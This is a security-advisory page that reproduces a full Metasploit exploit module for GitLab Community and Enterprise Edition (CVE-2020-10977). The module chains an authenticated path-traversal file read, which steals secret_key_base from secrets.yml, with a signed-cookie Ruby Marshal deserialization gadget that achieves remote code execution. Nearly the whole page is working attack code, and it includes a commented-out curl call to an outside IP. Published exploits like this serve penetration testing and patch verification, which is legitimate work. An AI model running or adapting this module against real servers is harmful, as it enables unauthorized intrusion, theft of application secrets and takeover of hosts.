GitLab File Read Remote Code Execution

2020.12.10
Credit: alanfoster
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck # From Rails class MessageVerifier class InvalidSignature < StandardError end def initialize(secret, options = {}) @secret = secret @digest = options[:digest] || 'SHA1' @serializer = options[:serializer] || Marshal end def generate(value) data = ::Base64.strict_encode64(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end def generate_digest(data) require 'openssl' unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end end class NoopSerializer def dump(value) value end end class KeyGenerator def initialize(secret, options = {}) @secret = secret @iterations = options[:iterations] || 2**16 end def generate_key(salt, key_size = 64) OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) end end class GitLabClientException < StandardError; end class GitLabClient def initialize(http_client) @http_client = http_client @cookie_jar = {} end def sign_in(username, password) sign_in_path = '/users/sign_in' csrf_token = extract_csrf_token( path: sign_in_path, regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"} ) res = http_client.send_request_cgi({ 'method' => 'POST', 'uri' => '/users/sign_in', 'cookie' => cookie, 'vars_post' => { 'utf8' => '✓', 'authenticity_token' => csrf_token, 'user[login]' => username, 'user[password]' => password, 'user[remember_me]' => 0 } }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.body.include?('Invalid Login or password') raise GitLabClientException, 'Username or password invalid' elsif res.code != 302 raise GitLabClientException, "Unexpected HTTP #{res.code} response." elsif res.headers.fetch('Location', '').include?(sign_in_path) raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.' end merge_cookie_jar(res) current_user end def current_user res = http_client.send_request_cgi({ 'method' => 'GET', 'uri' => '/api/v4/user', 'cookie' => cookie }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 200 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end JSON.parse(res.body) end def version res = http_client.send_request_cgi({ 'method' => 'GET', 'uri' => '/api/v4/version', 'cookie' => cookie }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 200 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end JSON.parse(res.body) end def create_project(user:) new_project_path = '/projects/new' create_project_path = '/projects' csrf_token = extract_csrf_token( path: new_project_path, regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/ ) project_name = Rex::Text.rand_text_alphanumeric(8) res = http_client.send_request_cgi({ 'method' => 'POST', 'uri' => create_project_path, 'cookie' => cookie, 'vars_post' => { 'utf8' => '✓', 'authenticity_token' => csrf_token, 'project[ci_cd_only]' => 'false', 'project[name]' => project_name, 'project[namespace_id]' => (user['id']).to_s, 'project[path]' => project_name, 'project[description]' => Rex::Text.rand_text_alphanumeric(8), 'project[visibility_level]' => '0' } }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.body.include?('Namespace is not valid') raise GitLabClientException, 'This uer can not create additional projects, please delete some' elsif res.code != 302 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end merge_cookie_jar(res) project(user: user, project_name: project_name) end def project(user:, project_name:) project_path = "/#{user['username']}/#{project_name}" res = http_client.send_request_cgi({ 'method' => 'GET', 'uri' => project_path, 'cookie' => cookie }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 200 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end project_id = res.body[/Project ID: (\d+)/, 1] { 'id' => project_id, 'name' => project_name, 'path' => project_path, 'edit_path' => "#{project_path}/edit", 'delete_path' => "/#{user['username']}/#{project_name}" } end def delete_project(project:) edit_project_path = project['edit_path'] delete_project_path = project['delete_path'] csrf_token = extract_csrf_token( path: edit_project_path, regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/ ) res = http_client.send_request_cgi({ 'method' => 'POST', 'uri' => delete_project_path, 'cookie' => cookie, 'vars_post' => { 'utf8' => '✓', 'authenticity_token' => csrf_token, '_method' => 'delete' } }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 302 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end true end def create_issue(project:, issue:) new_issue_path = "#{project['path']}/issues/new" create_issue_path = "#{project['path']}/issues" csrf_token = extract_csrf_token( path: new_issue_path, regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/ ) res = http_client.send_request_cgi({ 'method' => 'POST', 'uri' => create_issue_path, 'cookie' => cookie, 'vars_post' => { 'utf8' => '✓', 'authenticity_token' => csrf_token, 'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8), 'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8), 'issue[confidential]' => '0', 'issue[assignee_ids][]' => '0', 'issue[label_ids][]' => '', 'issue[due_date]' => '', 'issue[lock_version]' => '0' } }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 302 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end merge_cookie_jar(res) issue_id = res.body[%r{You are being <a href="http://.*#{create_issue_path}/(\d+)">redirected</a>}, 1] issue.merge({ 'path' => "#{create_issue_path}/#{issue_id}", 'move_path' => "#{create_issue_path}/#{issue_id}/move" }) end def move_issue(issue:, target_project:) issue_path = issue['path'] move_issue_path = issue['move_path'] csrf_token = extract_csrf_token( path: issue_path, regex: /name="csrf-token" content="([^"]+)"/ ) res = http_client.send_request_cgi({ 'method' => 'POST', 'uri' => move_issue_path, 'cookie' => cookie, 'ctype' => 'application/json', 'headers' => { 'X-CSRF-Token' => csrf_token, 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => { 'move_to_project_id' => (target_project['id']).to_s }.to_json }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 200 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end json_res = JSON.parse(res.body) { 'path' => json_res['web_url'], 'description' => json_res['description'] } end def download(project:, path:) res = http_client.send_request_cgi({ 'method' => 'GET', 'uri' => "#{project['path']}/#{path}", 'cookie' => cookie }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 200 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end res.body end private attr_reader :http_client def extract_csrf_token(path:, regex:) res = http_client.send_request_cgi({ 'method' => 'GET', 'uri' => path, 'cookie' => cookie }) if res.nil? || res.body.nil? raise GitLabClientException, 'Empty response. Please validate RHOST' elsif res.code != 200 raise GitLabClientException, "Unexpected HTTP #{res.code} response." end merge_cookie_jar(res) token = res.body[regex, 1] if token.nil? raise GitLabClientException, 'Could not successfully extract CSRF token' end token end def cookie return nil if @cookie_jar.empty? @cookie_jar.map { |(k, v)| "#{k}=#{v}" }.join(' ') end def merge_cookie_jar(res) new_cookies = Hash[res.get_cookies.split(' ').map { |x| x.split('=') }] @cookie_jar.merge!(new_cookies) end end def initialize(info = {}) super( update_info( info, 'Name' => 'GitLab File Read Remote Code Execution', 'Description' => %q{ This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable `experimentation_subject_id` cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0. }, 'Author' => [ 'William Bowling (vakzz)', # Discovery + PoC 'alanfoster', # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-10977'], ['URL', 'https://hackerone.com/reports/827052'], ['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/'] ], 'DisclosureDate' => '2020-03-26', 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('USERNAME', [false, 'The username to authenticate as']), OptString.new('PASSWORD', [false, 'The password for the specified username']), OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']), OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']), OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']), OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15]) ] ) register_advanced_options( [ OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']), OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000]) ] ) end # # This stub ensures that the payload runs outside of the Rails process # Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %^ code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen("ruby", "wb") rescue nil if inp inp.write(code) inp.close end else Kernel.fork do eval(code) end end {} ^.strip.split(/\n/).map(&:strip).join("\n") end def build_payload code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)" # Originally created with Active Support 6.x # code = '`curl 10.10.15.26`' # erb = ERB.allocate; nil # erb.instance_variable_set(:@src, code); # erb.instance_variable_set(:@filename, "1") # erb.instance_variable_set(:@lineno, 1) # value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) # Marshal.dump(value) "\x04\b" \ 'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \ "\t:\x0E@instance" \ "o:\bERB" \ "\b" \ ":\t@src#{Marshal.dump(code)[2..-1]}" \ ":\x0E@filename\"\x061" \ ":\f@linenoi\x06" \ ":\f@method:\vresult" \ ":\t@var\"\f@result" \ ":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET" end def sign_payload(secret_key_base, payload) key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] }) key = key_generator.generate_key(datastore['SignedCookieSalt']) verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new }) verifier.generate(payload) end def check validate_credentials_present! git_lab_client = GitLabClient.new(self) git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD']) version = Gem::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1]) # Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8 # However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8 has_rce_present = ( version.between?(Gem::Version.new('12.4.0'), Gem::Version.new('12.7.7')) || version.between?(Gem::Version.new('12.8.0'), Gem::Version.new('12.8.7')) || version == Gem::Version.new('12.9.0') ) if has_rce_present return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.") end Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.") rescue GitLabClientException => e Exploit::CheckCode::Unknown(e.message) end def validate_credentials_present! missing_options = [] missing_options << 'USERNAME' if datastore['USERNAME'].blank? missing_options << 'PASSWORD' if datastore['PASSWORD'].blank? if missing_options.any? raise Msf::OptionValidateError, missing_options end end def read_secret_key_base return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present? validate_credentials_present! git_lab_client = GitLabClient.new(self) user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD']) print_status("Logged in to user #{user['username']}") project_a = git_lab_client.create_project(user: user) print_status("Created project #{project_a['path']}") project_b = git_lab_client.create_project(user: user) print_status("Created project #{project_b['path']}") issue = git_lab_client.create_issue( project: project_a, issue: { 'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})" } ) print_status("Created issue #{issue['path']}") print_status('Executing arbitrary file load') moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b) secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1] secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url) loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml') print_good("File saved as: '#{loot_path}'") secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1] if secret_key_base.nil? fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value') end print_good("Extracted secret_key_base #{secret_key_base}") print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read') secret_key_base rescue GitLabClientException => e fail_with(Failure::UnexpectedReply, e.message) ensure [project_a, project_b].each do |project| begin next unless project print_status("Attempting to delete project #{project['path']}") git_lab_client.delete_project(project: project) print_status("Deleted project #{project['path']}") rescue StandardError print_error("Failed to delete project #{project['path']}") end end end def exploit secret_key_base = read_secret_key_base payload = build_payload signed_cookie = sign_payload(secret_key_base, payload) send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'cookie' => "experimentation_subject_id=#{signed_cookie}" }) end end

References:

https://cxsecurity.com/issue/WLB-2020110155


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top